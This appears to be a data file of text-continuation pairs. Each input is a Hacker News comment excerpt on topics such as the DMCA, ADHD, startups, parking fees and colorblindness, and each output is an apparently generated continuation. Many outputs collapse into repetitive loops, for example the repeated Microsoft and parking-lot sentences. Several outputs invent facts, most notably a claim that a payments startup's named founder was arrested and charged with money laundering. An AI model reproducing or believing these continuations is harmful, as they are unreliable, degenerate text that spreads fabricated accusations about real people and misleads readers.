pretty well (with the exception of mental hex arithmetic,\nwhich will still come in handy as soon as you segfault your high-level\nlanguage's runtime). Plus, when reverse-engineering"} +{"output_text": "\nNow, the media companies are trying to make it even harder to purchase content\nlegally, and in so doing are at least partially responsible for the rampancy\nof piracy.\n\nI'm not sure what the solution is, but I'm not sure it's to make it easier to\npurchase content legally.\n\n~~~\njessaustin\n_I'm not sure what the solution is, but I'm not sure it's to make it easier to\np", "input_text": " no mechanism to circumvent it how can those\ntwo paragraphs _ever_ apply? You could make the argument that for certain\nworks such as movies and music you have alternate means of obtaining the\nmaterial but for something like a hardware device (e.g. pacemaker) there\nexists no mechanism _other than circumvention tools_ for anyone to exercise\ntheir right of fair use. Therefore (in such cases) the anti-circumvention\nclauses of the DMCA are a violation of constitutional rights.\n\nIf circumvention tools cannot be made available then citizens are effectively\nbarred from exercising their constitutional rights.\n\nI firmly believe that the judge made a _horrible mistake_ in the original\nDeCSS case when it was ruled that posting the source code of a circumvention\ntool does not constitute free speech. It _damn well_ is free speech! It's\nliterally just a bunch of words and numbers along with a few math symbols\n(code). I believe the idiocy of the ruling was made abundantly clear when\npeople uploaded audio of themselves singing the source code aloud.\n\nApparently it's time to put that \"Source Code is Free Speech\" bumper sticker\nback on my car.\n\n~~~\nreachtarunhere\nI am getting a customized T-Shirt with that message.\n\n------\nFussyZeus\nThe fact is both sides of this have a lot to answer for in terms of eroding\nthe underlying relationship when it comes to any consumer/creator transaction.\nFor a long time media companies made it artificially hard to purchase content\nlegally and in so doing are at least partially responsible for the rampancy of\npiracy. In turn, a lot of people got used to pirating content for free instead\nof paying for it, even when reasonably priced options were made available.\n"} +{"output_text": " competition and innovation.\n\nI'm not saying that Microsoft should be allowed to do whatever they want, but\nI am saying that they should be allowed to do whatever they want as long as\nthey don't violate the law.\n\nI'm not saying that Microsoft should be allowed to do whatever they want, but\nI am saying that they should be allowed to do whatever they want as long as\nthey don't violate the law.\n\nI'm not saying that Microsoft should be", "input_text": "operating system, I develop my own browser, I develop my own media player. And\nI decide to bundle it/promote it along with an operating system I DESIGNED and\nDEVELOPED. What the fuck seems to be the problem with that?\n\nI'm not limiting your ability in anyway - You can still install any other\nbrowser/media player you like and you can remove the ones I've provided too,\njust like any other..\n\nCome on dudes, if I don't have the freedom to bundle MY software the way I\nlike, then how is it fair? It's like saying I can't bundle a headphone for an\nMp3 player I manufactured and the user should buy what he/she wants.\n\nIf I got something wrong here, please enlighten me..\n\n~~~\nrajanikanthr\nstupidity of EU at peaks.. thats it\n\n~~~\noctix\nOf course :) \n\n------\njavipas\nBesides the previous comment from the EU, there's an article written by\nMatthew Garrett (developer of the Secure Boot solution at The Linux\nFoundation) that explains also the big difference between Secure Boot and\nRestricted Boot.\n\n\n\nThat complaint is not really reasonable and is going nowhere, I think.\n\n~~~\nmjg59\nThe Linux Foundation developed their own solution, entirely separate from\nmine.\n\n------\nnivla\nMy comment from another thread posted earlier with the same news that happened\nto disappear from the front page[1]:\n\nAlright this is getting ridiculous, we aren't living in the 90s anymore and we\nshould be encouraging healthy"} +{"output_text": ". They are\naddicted to food and exercise. They are not addicted to food and exercise,\nthey are addicted to the reward of eating and exercising.\n\nI think the same applies to people who work too much. They are addicted to\nthe reward of working.\n\nI think the solution is to find a way to reduce the reward of working.\n\n~~~\njoe_the_user\nI think you're right.\n\nI think the problem is that the", "input_text": " possible\nto put in a tremendious amount of work into something and it might still not\npay off. Worst off all, even my final study grade suffered slightly from this\nbecause my co-founders put a lot of pressure on me.\n\nSo afterwards I realized: never ever again am I working (insane) overhours for\na prolonged time.\n\nI strongly believe that there is something in us that protects us, less\nmagical than it sounds, evolution. When we work too much we burned out.\n\nIn the years after I eventually co-founded another company and was really\nclose to totally burning out. (Although I limited my overhours, the work-life\nbalance was terrible and when I worked it was ~90-95% \"efficency\" \\- my whole\nprivate life was built around this startup.) I think this 2nd hard lesson\ntotally showed me that it isn't worth it.\n\nNowadays I do my best to find a good balance in work. Of course it's a\npersonal life choice. The more effort/work you put in, the higher the\nprobability you gain but also the higher the probability that something bad\nhappens.\n\nSo yes, obviously there are life hacks etc, go for them if you want to \"solve\nyour problem\". Or maybe think for yourself and imagine what's best for you.\n\n------\ndboreham\nI've done some thinking on this over the years. I'm not convinced it is \"ADHD\"\nper se, based on reading the symptom list and observing family members who do\nclearly have the symptoms. Of course it is always tricky to self-diagnose.\n\nFor me it is more akin to an addiction mechanism : consider someone who is\noverweight because they eat too much and exercise too little"} +{"output_text": " less\nconcentration.\n\n(2): I have a notebook with me at all times, and I write down ideas as they\ncome to me. I don't write down every idea I have, but I do write down the\nones that I think are worth keeping.\n\n(3): I have a notebook with me at all times, and I write down ideas as they\ncome to me. I don't write down every idea I have, but I do write down the", "input_text": ". It permanently blocks websites in\nall browsers for a certain period of time, making it appear pretty\nnonreversible. I block facebook, twitter, and of course, hacker news. (:\n\n\\- Use a to-do list. Make it consist of a reasonable number of bite-sized\ntasks.\n\n\\- Take care of yourself - get sleep, eat right, exercise.\n\n\\- Give yourself a time limit so you HAVE to let go. Transfer the perfection\nfrom the task itself, to getting the task done efficiently. If you're on a\nMac, download Vitamin-R. It forces you to chunk out blocks of time, and\nexplain exactly what you're going to accomplish in the 45 minutes of focus you\nprobably have. Read the Vitamin-R manual, it's actually really helpful.\n\n\\- Study the Pomodoro technique. That's something you can do on Win/offline;\nVitamin R makes it dead-easy.\n\n\\- Make a chart for yourself. Mine's big, neon, and plastered on the wall in\nfront of my desk where I'm reminded of it. Every day, give yourself a mark\nabout how focused you were, and whether or not you accomplished everything on\nyour to-do list. This'll help you learn what realistic to-dos are.\n\nGood luck, you can do it! (:\n\n------\nJarred\nThis is a good question, and one I've been thinking about myself.\n\nI don't have a direct answer, but this is what's helped me.\n\n(1): 4x3 Dry Erase Board nearby Computer, it might be because of having ADD\nbut I find I do the best idea-refinement/drawing stuff out on a dry erase\nboard, both because you can erase it easily and it involves"} +{"output_text": "A, is a parking management company. We have a lot of\ncustomers who are parking in the same lot for years. We have a lot of\ncustomers who are parking in the same lot for years.\n\nWe have a lot of customers who are parking in the same lot for years.\n\nWe have a lot of customers who are parking in the same lot for years.\n\nWe have a lot of customers who are parking in the same lot for years.\n\n", "input_text": " 9-11 except in green spots\nexcept you have to display the ticket in your window except you need to be 6\ninches but not 12 inches from the curb except except except except\")...\n\n... then this is the part where I start to suspect I'm not paying for the\nparking I'm using, but instead I am paying for someone else's large and\nundeserved profit.\n\n~~~\njaviramos\nThe other day I went to a concert and parked my car at a parking lot. When the\nconcert ended, of course there were masses of people trying to exit the\nparking lot. There were only 2 cashiers to pay the parking ticket \u2014 no\nautomated machines. So we waited over an hour to pay our ticket. Time that we\nended up paying with our ticket (per hour parking). The cashier didn\u2019t want to\nrefund us for the waiting time. If the law doesn\u2019t require any standards\nrequiring waiting times \u2014 why would a parking operator ever be incentivized to\nhave an efficient checkout system? Especially if they are the only parking in\ntown. Anyways lots of sketchy consumer violations in this space.\n\n~~~\nhanniabu\nWhile I agree that's a hassle, I don't think this should result in a refund.\nIt's like ordering dinner, eating it, and then wanting a refund for the meal\nbecause you waited a long time for the meal.\n\n~~~\nppseafield\nI think the OP meant they were charged for the extra hour they spent waiting\nin line trying to exit.\n\n~~~\nhanniabu\nOh I see, thought that they didn't think they should pay just because there\nwas a long line to get out.\n\n------\nbredren\nMy SUS company, EasyAL"} +{"output_text": "-to-de-risk-a-startup-\nguide/](https://www.codingvc.com/how-to-de-risk-a-startup-guide/)\n\n~~~\nBasDirks\nThanks for the link, I will read it.\n\n------\njoeblau\nI'm in the Bay Area and would be happy to meet up for coffee or a beer.\n\n~~~\nBasDirks\nI'm in Amsterdam, would love", "input_text": "oehler\nHave you considered bootstrapping until investors come looking for you? This\nquestion is a bit like how do we do marketing. The short answer is use your\nnetwork to get intros. If that fails cold call (use LinkedIn, blogs etc for\nless generation). Make sure you target on investors that are interested in\nwhat you're working on already. You need alignment. Also consider that\ninvestors are like sheep running after trends. They also are only interested\nin companies that can reopen them 100x plus on their investment. You might\nhave missed the investor boat for your specific type of company and that might\nbe a blessing in disguise. If you bootstrap check out indiehackers.com. You\ncan make a successful profitable business that you can work on full time\nwithout investors. In fact its easier now than ever.\n\n~~~\naloukissas\nWould 100% recommend checking out indiehackers.com and their podcast. Tons of\nprofitable SaaS businesses there with zero investors.\n\n------\njtwaleson\nI'm in NL and have some experience and contacts. E-mail is in my profile if\nyou'd like to have a coffee. Also, we're currently evaluating test automation\ntools and frustrated with most solutions so would love to hear your pitch ;)\n\n~~~\nBasDirks\nAppreciated, I will reach out.\n\n~~~\ntluyben2\nYou can drop me a line as well if you want. My contacts (VCs) might be\ninterested in your product: I am curious myself as well from the tech point of\nview.\n\n------\nx0x0\nRead Leo Polovets' startup de-risking guide and start de-risking your startup.\n\n[https://www.codingvc.com/how"} +{"output_text": ". I'm not a fan of the \"I'm a\nhacker\" mentality. I'm not a fan of the \"I'm a developer\" mentality. I'm not a\nfan of the \"I'm a professional\" mentality. I'm not a fan of the \"I'm a\nprogrammer\" mentality. I'm not a fan of the \"I'm a developer\" mentality. I'm\nnot a fan of the \"I'm a professional\" mentality. I'm not", "input_text": " it the last 5%, I might just do it.\n\n~~~\npartisan\nKeep in mind that the last 5% might mean a heck of a lot of time. There is\nusually a reason why some things go unimplemented in open source projects and\nthe complexity and time required are usually high on the list.\n\n~~~\nkazinator\nThe last 5% is _my_ last 5%, not (necessarily) the project's 5%. I.e. the\ndifference between what is there and what I require, not between what is\nthere, and the project's goals.\n\n------\nGratsby\nIf there's an IRC channel, mailing list, issue tracker, etc., I have a look at\nit. Active communities are bonus points regardless of the bug list.\n\nI also look at how friendly the project is to pull requests and outside\ndevelopment. If a bug is important to me, I will spend the time to code a fix,\nbut if there's no hope for getting any changes made, that represents a large\nrisk to me. It's not a bad thing if the team in charge pushes back for higher\nquality code, code style, or solutions practical for wider audiences.\n\nIf there's continuous integration in place with automated testing and static\ncode analysis that is fantastic. It's not a deal breaker if it's not, but\nhaving it in place is a good sign.\n\nDepending on the project, I may have a look at the source itself. I certainly\ndon't look the source of every application I use.\n\nI have found that online recommendations in developer communities are not\nalways good. More than once I've tried out projects based on people\nevangelizing them only to find out that they are pretty far from acceptable.\n\nThere are differences in how I judge things"} +{"output_text": "\" technique).\n\n~~~\njrockway\nI think the point is that you can't just make your system secure against\narbitrary attacks. You have to make it secure against attacks that are\n_specific_ to your system.\n\nIf you have a system that is under attack 24/7 from 255^4 different attack\nvectors, you need to make it secure against attacks that are specific to your\nsystem. If you have a system that is under attack 24/7", "input_text": "these are \" basics\" things but many people lack them.For me,\njust having one of them, it's a privilege. I finally got my hair back and my\nskin rashes are more manageable, so now I am ready to meet new people and be\nmore presentable.Better keep up now because I feel my time is limited due to\nmy health condition. Who knows when I will lose my hair again and all that? I\nbetter be positive about my situation and don't stress myself more about my\nstruggles.\n\nJust believe in yourself, don't forget what you want and your needs, keep\nfighting and don't give up. Don't dwell in painful situations and don't allow\nyourself to cry for more that a day. Don't look back, just look forward but\ndon't forget the reasons you are fighting for this. Don't really wait for a\nbreak, just go after what you want...\n\nHopefully, your situation turns around. Keep us updated...\n\n \nHouse Keys copyable from 200 ft away via camera - nl\nhttp://www.jacobsschool.ucsd.edu/news/news_releases/release.sfe?id=791\n======\nslapshot\nThis is perhaps an unintentional demonstration that \"insecure against absurdly\ncomplex and specific attacks\" does not always mean \"insecure.\"\n\nFor a web system that is under attack 24/7 from 255^4 different attack\nvectors, you need \"secure against even absurdly complex attacks\" to be\n\"secure.\"\n\nBut for my house? Your average thief isn't going to spend the time to take a\nhigh-res photo of my keys. Instead, they're just going to beat me until I give\nthem my keys (the original \"rubber-hose crytography"} +{"output_text": " that describes what a Wakemate is.\n\nI'm not sure if this is a deliberate attempt to make the product sound more\ninteresting than it is, or if it's just a case of not having a good product\nwebsite.\n\n~~~\njasonkester\nI'm not sure if this is a deliberate attempt to make the product sound more\ninteresting than it is, or if it's just a case of not having a good product\nwebsite.\n\nI", "input_text": " guy, and I wish I had spent more and more time talking with\nhim.\n\n------\ntedchs\nJim contributed a great deal to the Ruby community and will be deeply missed.\n\n------\njackson1990\nJim was a great guy and an awesome contributor to the Ruby community.\n\n------\nshahinh\nJim was best guy, and I wish I had spent more time talking with him.\n\n------\njackson1990\nI wish I had spent more time talking with him.\n\n------\nshahinh\nYour post is Great read, thanks for posting.\n\n------\nUNIXgod\nThis is sad.\n\n------\nmentaat\nwhat was the cause of death?\n\n~~~\nwinslow\nFrom the other thread (Jim's last Github commit) it states he passed away due\nto a heart attack at age 57.\n\n[1] -\n[https://news.ycombinator.com/item?id=7271909](https://news.ycombinator.com/item?id=7271909)\n\n \nWakeMates are ready - spydertennis\nhttp://blog.wakemate.com/2010/12/18/wakemates-are-ready/\n======\njasonkester\nLook, I know it's Product Blogging 101, but it always amazes me when I see a\nproduct blog like this one that has:\n\na.) No description of what the product _is_\n\nb.) No direct link to the product website\n\nSo now, after visiting that site, I know that Wakemates are ready. But I have\nno idea what a Wakemate is, and short of manipulating the URL by hand, I have\nno way to get to a website"} +{"output_text": "IN/1594484805/braipick-20)\n\n------\nmatt_the_bass\nI\u2019m not sure if this is the right place to ask this, but I\u2019m curious. I\u2019m\ntrying to figure out if I have ADHD. I\u2019m not sure if I do. I\u2019m not sure if I\ndon\u2019t. I\u2019m not sure if I\u2019m just not sure.\n\nI\u2019m not", "input_text": " along thinking of you.\n\nMoney quote for me was something like the ADHD child has zero self motivation.\nAll motivation comes from the outside world. Which is why kids can play video\ngames for hours because there is instant feedback. But when you finish a\nproblem on your homework nothing happens.\n\nAnd that there is a extremely poor short short term memory problem.\n\nTons of stuff.\n\n------\ntomwphillips\nYou might be interested in this feature about adults with ADHD:\n[https://www.buzzfeed.com/kellyoakes/these-adults-have-\nadhd-b...](https://www.buzzfeed.com/kellyoakes/these-adults-have-adhd-but-\nwere-misdiagnosed-for-decades?utm_term=.ouaZAN5kQq#.ip0DXr9zRW)\n\n------\nkanishkdudeja\nYou should like typical ADHD to me. I had the same issues and now am doing\ngreat with major changes to my lifestyle!\n\n------\nmedion\nMaybe you should be doing something else with your life? Maybe you were\nsupposed to be an explorer, or an adventurer, or a builder? I mean, life is so\nshort, why punish yourself? I hate this culture of 'hacks' and all this\nrubbish to force yourself into doing things maybe you shouldn't be doing.\n\n------\ncorpMaverick\nIt is normal. Make sure you have all of these. Autonomy, Purpose and Mastery.\n\n[https://www.amazon.com/exec/obidos/ASIN/1594484805/braipick-...](https://www.amazon.com/exec/obidos/AS"} +{"output_text": "them were bootstrapped and I was the only employee.\n\nI've learned a few things that I think are worth sharing.\n\n1\\. Don't be afraid to ask for help. I've had a few people offer to help me\nwith my business, but I've always declined. I think it's because I'm afraid\nthat they'll think I'm a total idiot. I've learned that if you ask for help,\nyou'll get it.\n\n2\\.", "input_text": "'t matter\", or that they'll act magnanimously, or anything like that.\n\nIt's way, way easier to have a lovely relationship with people when you're in\na position of power. Put yourself into that position.\n\n(There are some investors you can unequivocally trust to act their talk --\nnotably YC, winfunding, and a few others, but don't rely on that as a general\nrule)\n\n~~~\ngreenspot\nThis. So true and extremely well framed.\n\nThe only thing I can add: At the beginning of a relationship, everybody is\nkind. Background checks not just help, they are essential, do them.\n\nGetting into conflicts and power plays with VCs, or just any person at some\npoint, should be expected but there are still huge differences in how people\ndeal in messy situations in terms of morale and ethics. You will find\neverything between feeling uneasy and facing a nuclear war.\n\n~~~\nwiz21c\n>>> there are still huge differences in how people deal in messy situations in\nterms of morale and ethics.\n\nso true. Problem is that in my small business experience, those in power are\nthere because they have very flexible views on morale and ethics (i.e. they\nthink they have morale/ethics, but they actually forget it when their company\nis at stakes). Being the ethical guy I'm of course totally biased. But the\nparent post is so right : having ethics/morale can be extremely damaging for\nyou because you'll have to work with people who absolutely don't get how you\nthink and that'll be super exhausting. Know yourself before going into that\ngame.\n\n------\nrsweeney21\nI've started a few modestly successful companies over the past decade. Most of\n"} +{"output_text": "nsics-\nE...](https://www.amazon.com/Poisoners-Handbook-Murder-Forensics-\nEvidence/dp/1594206538)).\n\nIt\u2019s a fascinating look at the history of the development of forensic science\nand the people who pioneered it, and how they came to realize that the\ntraditional approach of using a chemical to identify a substance was\nfundamentally flawed.\n\n------\njoezydeco", "input_text": " from Google:\n[http://www.google.com/design/spec/material-\ndesign/introducti...](http://www.google.com/design/spec/material-\ndesign/introduction.html)\n\n------\ngrandalf\nI think the choice of pattern depends a lot on what you are building and how\nmuch and how often you will need to change it.\n\n------\njkinz86\nI think what you're looking for is Harry Roberts' ITCSS?\n\nwww.youtube.com/watch?v=1OKZOV-iLj4\n\n------\nblawa\n(I'm new to HN so not sure how to edit) Thanks for some excellent answers.\n\nSo as to keep the discussion to the question's point for posterity, I think I\nwasn't very clear. As some people have poined out- I'm not looking for graphic\ndesign patterns, or design from the user experience perspective. I'm looking\nfor how to design my components. and what should classify as a component, or\nwhat should be an individual template. What should go as a parent and as a\nchild in the component. Thanks again!\n\n \nHow We Realized Putting Radium in Everything Was Not the Answer - ajna91\nhttps://www.theatlantic.com/health/archive/2013/03/how-we-realized-putting-radium-in-everything-was-not-the-answer/273780/\n======\nsmacktoward\nIf you are interested in this subject, I highly recommend picking up a copy of\nDeborah Blum\u2019s excellent 2011 book _The Poisoner\u2019s Handbook_\n([https://www.amazon.com/Poisoners-Handbook-Murder-Fore"} +{"output_text": "few years ago. It was a peer-to-peer payments system that allowed users to\nsend money to each other.\n\n(2) The company was sued by the state of California for operating an unlicensed\nmoney transmitting business.\n\n(3) The company was forced to shut down its operations.\n\n(4) The company's founder, David Lee, was arrested and charged with money\nlaundering.\n\n(5) The company's founder, David Lee", "input_text": " paymentsstartup should know everyone \u2013 literally\neveryone, including regulators and thegovernment \u2013 is going to be working\nagainst you. If you can\u2019t take the heat, get out of the kitchen and go start a\nphotosharing startup.\u201d\n\n\u201cPayment startups face a far more adversarial environment, including utter and\ntotalhostility. It was okay for PayPal to whine about this (though they\ndidn\u2019t), because itwasn't known. But now it\u2019s known. If you run a payments\nstartup, you are fightingagainst thugs, actual criminals \u2013 both real ones and\ngovernment ones. It is not normalbusiness. It is like trying to start a\nbusiness in an actual warzone. Complaining aboutthis is just whining. There is\nno actual solution than to win. Anything else is, in fact, justwhining.\u201d\n\nPresumably with the hope of \u201cwinning,\u201d Defendant Wong proceeded to invest his\nown personalfunds in Unlicensed MSB Defendant Balanced (part of a $3.4 million\nseed financing round)\n\n~~~\nwisty\nTrying to create political pressure against these \"thugs\" isn't necessarily a\nbad move. Let's say you want to start a company which bypasses Taxi\nmedallions. It's in your interest to create a PR storm over the unfairness of\nthe medallion system. It's _not_ OK to be surprised when the entrenched powers\ntry to bite you (though it may not hurt to _act_ surprised). Of course, if you\ndon't have the stomach for it, you shouldn't be getting into the space.\n\n------\njluxenberg\nSome context:\n\n(1) Think Computer Corporation built FaceCash () a\n"} +{"output_text": " improve your decision making.\n\nI would also recommend reading a book on the psychology of productivity.\n\n------\njimmyvalmer\nI'm not a psychologist, but I've been in your shoes. I've been in a similar\nsituation, and I've been in a similar situation before.\n\nI've been in a similar situation before, and I've been in a similar situation\nbefore.\n\nI've been in a similar situation before, and I've", "input_text": "I would then probably keep at the English teaching until your situation has\nstabilized if you can stand it.\n\nAfter a while I\u2019d slowly (and cheaply) try to bootstrap something, if that\u2019s\nwhat interests you.\n\n~~~\nbrandelune\nA KK in Japan is currently the least expensive option. Basically all you need\nis to pay for the registration paperwork (about \u00a5300k) and what used to be a\nminimum capital of \u00a510 million has now no minimum.\n\nThere used to be Yugen (limited responsibility) with a minimum capital of \u00a53\nmillion but it disappeared with the new KK law.\n\nThat was about 12 years ago.\n\n~~~\nxevb3k\nDepending on your VISA type you can also operate as a sole proprietor (kojin\njigyo) as I understand it. I think that\u2019s cheaper and easier?\n\nI\u2019d still just be tempted to set something up in another country and operate\nvia that until things started to pan out.\n\n------\nToine\nMy advice : abort everything. You seem to need mental support and that's ok,\neverybody does at some point. Go back to a place where you feel secure and\nhave family/friends/anything that can help you. Throwing 50k USD into a\ncompany that has no purpose is insane. Doing so after multiple years of being\nunable to produce anything is beyond insane.\n\n------\n_5meq\nIt sounds like you have a dysfunction with decision making and productivity.\nThis is something you need to deal with.\n\nIt's OK! It happens to a lot of people. This is something you can study and\nimprove.\n\nI highly recommend reading a few books on productivity and making good\ndecisions in order to"} +{"output_text": " example, but\nI'm more productive. I'm more motivated, and I'm more productive. I'm more\nfocused, and I'm more productive. I'm more creative, and I'm more productive.\nI'm more productive, and I'm more focused.\n\nI'm not saying that marijuana is the only thing that makes people productive,\nbut it's a good example of a drug that can be used to help people be more\nproductive.\n\n~~~\nconting", "input_text": " dishes a bit better than I do. (Although I often complete the same\ntask more quickly)\n\nI definitely still prefer my choice to his, I am aware that my decisions\nchanging the reward centers of my brain. Mowing the lawn will never be a fun\ngame to me, because I have _actual_ fun games to play.\n\n------\ncontingencies\nThings to try:\n\n\\- get more sleep\n\n\\- time off to recharge / re-motivate\n\n\\- meditation / yoga / exercise\n\n\\- try to stop using stimulants (includes caffeine/nicotine/sugar) or try\nusing different stimulants (eg. arecoline)\n\n\\- absolutely do not smoke marijuana, it is known to make many people lazy and\ndemotivated\n\n\\- control your environment (quiet, no phone, phone off, offline)\n\n\\- clean your environment (zero clutter)\n\n\\- change your environment (fresh space)\n\n\\- remove all distractions (visual, audio, etc.)\n\n\\- try different times of day (eg. sleep early, wake then work early AM before\nsunrise)\n\n~~~\nBroken_Hippo\n_absolutely do not smoke marijuana, it is known to make many people lazy and\ndemotivated_\n\nThis is the stereotype. Sure, some folks get lazy, but same for lots of drugs,\nincluding alcohol. How many potheads have you known? I've been one at\ndifferent times, probably qualify, and would rather work with a pothead who is\nstoned all the time than a drunk. Lazy isn't due to marijuana, but rather the\nperson smoking and to an extent, their reaction and tolerance level.\n\nWith me is the opposite. I don't clean house more or lesse, for"} +{"output_text": "hed his intention to meet Kim\n> Jong-un, and the North Korean leader is a mercurial figure who has a\n> history of making sudden and unexpected moves.\n\n> The North Korean leader is a man who has been in power for more than a\n> decade, and who has been able to consolidate his power through a combination\n> of ruthless repression and a cult of personality.\n\n> The North Korean leader is a man who has been in power for more", "input_text": " support the Kim family.\n\n~~~\nflycaliguy\nI would be careful to underestimate the North's ability to fight a war. You\ndon't need cutting edge technology with the sort of topography they've got.\nLook at a topographic map of North Korea. It's mountain ranges and valleys.\nDense veg, steep drops, spots for tunnels, rapid currents. You could put an\narmy from the 50s in there and have a hell of a time getting them to quit.\n\n~~~\nhangonhn\nI don't doubt their ability to defend their own territory and your point about\nthat is correct. However, I don't see South Korea being the aggressor. If\nthere is a war, North Korea would be the aggressor and I doubt their current\nability to successfully invade and conquer South Korea. They would have to\nacquire new conventional capabilities to do that and a viable economy is\nnecessary for that development.\n\n------\ntoblender\nI can sense the skepticism in the comments, but this is amazing news!\n\nAll those people suffering from lack will have a chance to take part in our\nmodern abundance.\n\nI can only imagine what will happen when NK opens it's doors to SK fully.\nThere will be a massive demand for good and services. Exciting times!\n\n------\n21\nFrom the Guardian, which can't be accused of being a Trump lover:\n\n> This system of indoctrination and propaganda complicates any official\n> announcement of the Trump meeting. An ideological framework must be devised\n> to explain the talks with the enemy; and regardless of how they are\n> presented, there is an uncomfortable margin for the \u201cinfallible\u201d leader to\n> be seen to fail in his aims.\n\n> Trump is a volatile opponent who telegrap"} +{"output_text": " is red-green colorblind.\n\n~~~\njameshart\nI think the summary is accurate, but the article is a bit misleading.\n\nThe article is about the discovery of a new type of colorblindness, which is\nnot the same as the X-linked form of red-green colorblindness.\n\n~~~\nPeterWhittaker\nI agree, but I think the article is misleading in that it implies that the\ndiscovery of the new type of color", "input_text": " a\npatch of wild strawberries. I'm partially red-green colorblind and for every\nstrawberry I found, my friend found ten. They were almost invisible to me.\nIt's neat to see that the fourth cone's response curve peaks right between the\nred and green cones' curves in tetrachromats. I bet they are amazing at\nfinding berries.\n\n~~~\nsuch_a_casual\nWhat does it mean to be partially red-green colobrlind? Isn't it the case that\nyou either have the red-green cone or you don't?\n\n~~~\najuc\nI don't know how it works, but I have it - I can see red and green and pink in\nbig blobs, but when there's lots of small red and green (or pink) details\nmixed - they seem the same to me (if their darkness is similar).\n\nAlso I have problems with big uniform colour areas it there's small amount of\ngreen mixed with pink or red and vice-versa. I was making a sunset skybox for\na game, and friends were wondering why the sky is slightly green - for me it\nwas pinkish-red-yellow, but I put there some green by mistake.\n\n~~~\nsuch_a_casual\nThat sounds like standard red-green colorblindness.\n\n~~~\najuc\nGood to know, I thought standard red-green color blindness is when you don't\nrecognize these colors at all.\n\n------\nPeterWhittaker\nVery inaccurate summary, since I skimmed: Up to 12% of women have an X\nchromosome mutation that creates a fourth cone. This cone generally overlaps\nthe spectral region covered by the cones sensitive to red and green. The exact\narea of overlap determines whether or not each woman"} +{"output_text": "recruiters.\n\nInclude your work experience if it's relevant to the job you're applying for.\n\nDon't include your GPA if it's below 3.0/4.0.\n\nDon't include your community college unless it's relevant to the job you're\napplying for.\n\nDon't include your work experience unless it's relevant to the job you're\napplying for.\n\nDon't include your community college unless it's relevant to the", "input_text": "\nyou've got stuff you did before college that's interesting, figure out how you\ncan bring it up. You have to play up whatever potential positives you have.\n\n------\nteahat\nGPA - absolutely. If it's not there, the assumption will be that the reason it\nisn't there is because it's bad (especially as a new grad). Like when you look\nat a 2nd hand car listing and they leave off mileage - you know it will be\nhuge. Transcripts, no - they just add unnecessary padding at this stage,\nnobody wants to read those unless they absolutely have to, so they'd only be\nasked for at the end of the process, if at all.\n\nBut more importantly than either of these - you should write your resume\ndifferently depending on what you are applying for. Highlight what is most\nvaluable to the organization you are applying to. If this means you have to\nreduce the number of applications you send out, that's fine, it's much better\nto have fewer well targeted applications.\n\nAnd try to state facts, not claims. By which I mean - don't claim to 'work\nwell in a team', or have 'excellent X'. Show what you've done and the impact\nit had. If you wrote something cool at the age of 10, I can infer that you're\nsmart and self-directed from that.\n\nGood luck.\n\n------\ncaw\nFrom my experience: Don't include your community college, unless that's where\nyour degree is from. Even then, if you got an AS at a community college and\nthen got a BS, just drop the AS.\n\nInclude your GPA if it's better than 3.0/4.0. That's the cutoff point for most\n"} +{"output_text": " condiments, they'll bring them to you.\n\nI've never seen this at any other McDonald's.\n\n~~~\njrockway\nI've never seen this at any other McDonald's.\n\nI've seen this at McDonald's in Japan.\n\n~~~\nboredguy8\nI've seen it at McDonald's in Japan, too.\n\n------\njrockway\nI don't think this is a good idea.\n\nIf you want to charge", "input_text": " menu.\n\nHe basically wanted a side of wheat toast but this did not come with the menu\nitem he wanted.\n\nJack: \"What do you mean you don't make side orders of toast? You make\nsandwiches, don't you?\"\n\nWaitress: \"Would you like to talk to the manager?\"\n\nJack: \"You've got bread and a toaster of some kind?\"\n\nWaitress: \"I don't make the rules.\"\n\nJack: \"OK, I'll make it as easy for you as I can. I'd like an omelette, plain,\nand a chicken salad sandwich on wheat toast, no mayonnaise, no butter, no\nlettuce. And a cup of coffee.\"\n\nWaitress: \"A number two, chicken sal san, hold the butter, the lettuce and the\nmayonnaise. And a cup of coffee. Anything else?\"\n\nJack: \"Yeah. Now all you have to do is hold the chicken, bring me the toast,\ngive me a check for the chicken salad sandwich, and you haven't broken any\nrules.\"\n\nWaitress: \"You want me to hold the chicken, huh?\"\n\nJack: \"I want you to hold it between your knees.\"\n\nThe whole exchange is found here:\n.\n\n~~~\natarashi\nHere's a clip of that exchange: \n\n------\nboredguy8\nThere's a McDonald's near where I work that charges for some condiments\n(barbecue sauce, for instance) if you didn't order specific food items. If you\nask for the"} +{"output_text": "\n~~~\nstared\nI am not sure if I understand your point.\n\nI am not saying that Europe is not concerned about privacy. I am saying that\nEurope is more concerned about privacy than the USA.\n\n~~~\nchunkyslink\nI think you are missing my point.\n\nI am not saying that Europe is not concerned about privacy. I am saying that\nEurope is more concerned about privacy than the USA.\n\n~~~\nstared\nI am not", "input_text": "cco\nAre they going after the 40+ dating market? Surely the dating app demographic\nisn't on Facebook anymore, though maybe Facebook is still popular in the 18-30\nage range in Europe? I just don't know.\n\n~~~\nMilner08\nIn the UK its certainly not popular with the late 20's crowd. There are still\nsome people hanging on in there but most people seem to have (thankfully)\ngiven up on it for anything other than messages and the occasional event.\n\n------\nstared\nThere are various takes on that, which of course depend on values each person\n(and country) considers as the most important.\n\nIn my personal opinion, Europe (in which I live) as an \"Amish bias\" [1], i.e.\nby default being more cautious about introducing new technologies. I am\nalready annoyed by the constant cookie pop-ups that significantly affect my\nbrowsing experience but on mobile.\n\nYes, there are risks with all technologies. But with the current mindset,\nEurope is setting itself way back comparing to the USA... which is much more\ncautious than China. Or in other words, Europe sets itself to be the World's\ncalm countryside, in which people live as they used to.\n\nSome (maybe even the majority) may like it. Personally, I am asking myself\nfrom time to time - when it is time to move to Asia.\n\n[1] [https://kk.org/thetechnium/amish-\nhackers-a/](https://kk.org/thetechnium/amish-hackers-a/)\n\n~~~\nchunkyslink\nBeing concerned about privacy is not an Amish Bias, it means our citizens are\nless likely to be abused by some tech company.\n"} +{"output_text": " to say?\n\n~~~\njashkenas\nI think the author is right to point out that Dziuba's analysis is a bit\noverblown.\n\nI think the author is also right to point out that Dziuba's analysis is\n_mostly_ correct.\n\nI think the author is wrong to point out that Dziuba's analysis is _mostly_\nincorrect.\n\nI think the author is wrong to point out that Dziuba", "input_text": " world from the db, service the request, and then destroy the world\nyou've just created. For structural things like MVC, objects are great, but\nyou really don't see much of the \"object as vehicle for data encapsulation\"\nthat's drilled into every new programmer when they're first taught OOP.\n\nThe client, on the other hand, _can_ persist data and objects through\nrequests, and the only time it needs to be fully refreshed is on a full\nreload.\n\n~~~\ncwp\nAh. But that isn't an issue of language or object-orientation. There are\nserver-side frameworks that 